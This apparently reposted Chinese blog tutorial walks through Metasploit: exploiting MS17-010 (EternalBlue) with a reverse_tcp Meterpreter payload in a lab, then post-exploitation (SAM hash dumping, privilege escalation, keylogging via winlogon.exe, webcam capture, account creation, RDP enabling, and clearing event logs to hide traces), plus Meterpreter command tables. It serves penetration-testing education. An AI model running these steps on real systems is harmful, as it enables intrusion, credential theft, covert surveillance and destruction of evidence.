Metasploit框架的使用

目录

Metasploit

攻击载荷(payload)

Meterpreter

MS17_010(永恒之蓝)

后渗透阶段

访问文件系统

上传/下载文件

权限提升

获取用户密码

运行程序

扫描二维码关注公众号,回复: 3862913 查看本文章

屏幕截图

创建一个新账号

启用远程桌面

键盘记录

绑定进程

禁止目标主机使用键盘鼠标

用目标主机摄像头拍照

清除事件日志

Meterpreter的更多用法


Metasploit

Metasploit是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。在kali中,自带了Metasploit工具。

使用方法:

  • 进入框架:msfconsole
  • 使用search命令查找相关漏洞: search  ms17-010
  • 使用use进入模块:  use exploit/windows/smb/ms17_010_eternalblue   
  • 使用info查看模块信息: info 
  • 查看这个模块的payload攻击载荷:show  payloads
  • 设置攻击载荷:set payload windows/meterpreter/reverse_tcp
  • 查看模块需要配置的参数:show options
  • 设置参数:set  RHOST  192.168.125.138
  • 攻击:exploit /  run 
  • 后渗透阶段

不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。

攻击载荷(payload)

Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的 Payload 模块主要有以下三种类型:

  • -Single
  • -Stager
  • -Stage
  • Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
  • Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。
  • Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型:

Single Payload的格式为:<target>/ <single>
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>

当我们在Metasploit中执行 show  payloads 命令之后,它会给我们显示一个可使用的Payload列表:

在这个列表中,windows/powershell_bind_tcp就是一个Single Payload,它不包含Stage Payload

而windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。

Meterpreter

在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。

我们在设置 payloads 时,可以将 payloads 设置为:windows/x64/meterpreter/reverse_tcp  ,然后获得了 meterpreter>之后我们就可以干很多事了!具体的做的事,在我们下面的后渗透阶段都有讲!

MS17_010(永恒之蓝)

我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。

kali控制台输入:msfconsole     进入metasploit框架

寻找MS17_010漏洞: search ms17_010 

这里找到了两个模块,第一个模块是探测主机是否存在MS17_010漏洞,第二个是漏洞利用模块,我们先探测哪些主机存在漏洞 

输入命令:use auxiliary/scanner/smb/smb_ms17_010

查看这个模块需要配置的信息:show options

RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞

输入:set  RHOSTS  192.168.125.125-129.168.125.140

输入:exploit   攻击,这里有+号的就是可能存在漏洞的主机,这里有3个主机存在漏洞

然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue   

查看这个漏洞的信息:info

查看攻击载荷:show  payloads

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

查看模块需要配置的参数: show  options

设置RHOST,也就是要攻击主机的ip:set   RHOST  192.168.125.138

设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set  LHOST 192.168.125.129

攻击: exploit 

后渗透阶段

运行了exploit命令之后,我们开启了一个reverseTCP处理器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell  即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

我们要想从 meterpreter 退出到MSF框架,输入:background

输入: sessions  -l       查看我们获得的shell,前面有id

输入: session  -i  1     即可切换到id为1的shell

输入:sysinfo   查看目标主机的信息

访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:

cd:切换目标目录;

cat:读取文件内容;

rm:删除文件;

edit:使用vim编辑文件

ls:获取当前目录下的文件;

mkdir:新建目录;

rmdir:删除目录; 

上传/下载文件

download 命令可以帮助我们从目标系统中下载文件

upload 命令则能够向目标系统上传文件。

权限提升

有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权:

getuid  命令可以获取当前用户的信息,在上面的截图中,用户为  NT AUTHORITY\SYSTEM ,这个就是Windows本地系统账号。

获取用户密码

hashdump模块(post)可以从SAM数据库中导出本地用户账号,需要通过“run”命令执行:run post/windows/gather/hashdump

数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::,所以我们得到了四个用户账号,分别为Administrator、Guest、小谢和 xie。

其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)和NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。

接下来要处理的就是用户 xie 的密码( 32ed87bdb5fdc5e9cba88547376818d4 )了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接百度这个哈希之后,就直接得到了密码明文:123456。

运行程序

我们还可以使用  execute 命令在目标系统中执行应用程序。这个命令的使用方法如下:

execute  参数  -f 可执行文件  

运行后它将执行所指定的命令。可选参数如下:

-H:创建一个隐藏进程

-a:传递给命令的参数

-i:  跟进程进行交互

-m:从内存中执行

-t: 使用当前伪造的线程令牌运行进程

-s: 在给定会话中执行进程

屏幕截图

输入:screenshot  ,截图目标主机屏幕,可以看到,图片被保存到了 /root 目录下

创建一个新账号

接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用 -u 和 -p 参数),并把他添加到 Administrators 组中,然后将其添加到  Remote Desktop Users 组中,也就是远程桌面用户组中。

这里成功创建了用户,但是添加到Administrators组中失败,添加到 远程桌面用户组中也失败了 !

启用远程桌面

当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的 getgui 脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入: run getgui -e

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime

然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。 

键盘记录

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

不过在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录 

绑定进程

Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

首先,我们需要使用 ps 命令查看目标设备中运行的进程:

我们可以使用  getpid  查看我们当前的进程id

使用 migrate  命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell

绑定完成之后,我们就可以开始捕获键盘数据了,可以看到,用户输入了 123 然后回车,说明密码是 123

禁止目标主机使用键盘鼠标

禁止(允许)目标使用键盘: uictl  disable (enable) keyboard

禁止(允许)目标使用鼠标: uictl  disable (enable) mouse

用目标主机摄像头拍照

获取目标系统的摄像头列表:webcam_list

从指定的摄像头,拍摄照片:webcam_snap

清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令  clearev  命令来清除事件日志:

Meterpreter的更多用法

Core Commands   核心命令
=============

    Command                   Description
    -------                   -----------
    ?                            Help menu
    background         Backgrounds the current session
    bgkill                     Kills a background meterpreter script
    bglist                     Lists running background scripts
    bgrun                      Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                      Closes a channel
    disable_unicode_encoding   Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                         Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                       Help menu
    info                        Displays information about a Post module
    irb                          Drop into irb scripting mode
    load                       Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands 文件系统命令
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands 网络命令
===========================

    Command       Description
    -------       -----------
    arp                Display the host ARP cache
    getproxy       Display the current proxy configuration
    ifconfig        Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd        Forward a local port to a remote service
    route          View and modify the routing table


Stdapi: System Commands 系统命令
=======================
 
    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands 用户界面命令
===============================

    Command        Description
    -------        -----------
    enumdesktops       List all accessible desktops and window stations
    getdesktop             Get the current meterpreter desktop
    idletime                    Returns the number of seconds the remote user has been idle
    keyscan_dump       Dump the keystroke buffer
    keyscan_start        Start capturing keystrokes
    keyscan_stop        Stop capturing keystrokes
    screenshot           Grab a screenshot of the interactive desktop
    setdesktop              Change the meterpreters current desktop
    uictl                       Control some of the user interface components


Stdapi: Webcam Commands 摄像头命令
=======================

    Command        Description
    -------        -----------
    record_mic           Record audio from the default microphone for X seconds
    webcam_chat       Start a video chat
    webcam_list       List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream   Play a video stream from the specified webcam


Priv: Elevate Commands 提权命令
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands 密码
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands 时间戳命令
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

猜你喜欢

转载自blog.csdn.net/qq_36119192/article/details/83215257